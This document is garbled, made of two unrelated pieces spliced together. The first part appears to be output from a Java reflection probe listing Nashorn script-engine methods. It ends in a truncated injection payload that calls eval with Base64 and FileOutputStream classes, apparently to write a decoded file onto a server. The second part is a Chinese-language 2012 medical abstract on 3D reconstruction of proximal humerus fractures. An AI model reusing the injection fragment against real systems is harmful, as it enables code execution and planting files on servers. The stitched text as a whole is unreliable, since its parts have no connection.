public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2012, Vol. 32 ›› Issue (11): 1671-.

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  • Online:2012-11-20 Published:2012-11-20

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1038

Abstract: 目的探讨三维重建技术在肱骨近端骨折诊断治疗中的意义，以提高肱骨近端复杂骨折的诊疗水平。方法2008年1月~
2010年5月，对25例肱骨近端骨折病人术前进行常规X线平片(平片)，CT平扫及三维CT检查。将CT扫描数据以二维灰度
DICOM格式输入计算机，应用Amira4.1软件重建个性化虚拟骨折模型，将个性化三维构建模型与传统影像学检查方法在骨折
的分型上进行对照分析，以明确骨折的分型分类。根据不同类型的肱骨近端骨折选择具有针对性的手术治疗方法，术后对25例
患者进行随访（8~35个月，平均21个月），随访采用Constant-murley评分标准进行功能评价。结果25例肱骨近端骨折中，X线
平片可明确骨折诊断及分型的为15例；CT平扫可明确骨折诊断及分型的为20例；三维CT可明确诊断及分型的为22例；个性
化三维重建模型可明确诊断及分型的为25例。针对不同骨折类型，采用个性化手术治疗。术后患者肱骨骨折普遍于6个月后
愈合，依据constant-murley评分，临床评分为70~100分，平均为88分。结论术前利用CT数据源进行病人肱骨近端骨折的个性
化三维构建，可直观、清晰地显示出复杂骨折的全部细节，能找出骨折小碎块的来源，有助于确定骨折分型。术前行个性化骨折
三维重建，可弥补CT平扫与三维CT检查之间成像的不足，更精确骨折的诊断分型，便于临床医生在术前选择适当、合理的治疗
方案、手术入路和内固定方法，以提高肱骨近端复杂骨折的诊疗水平。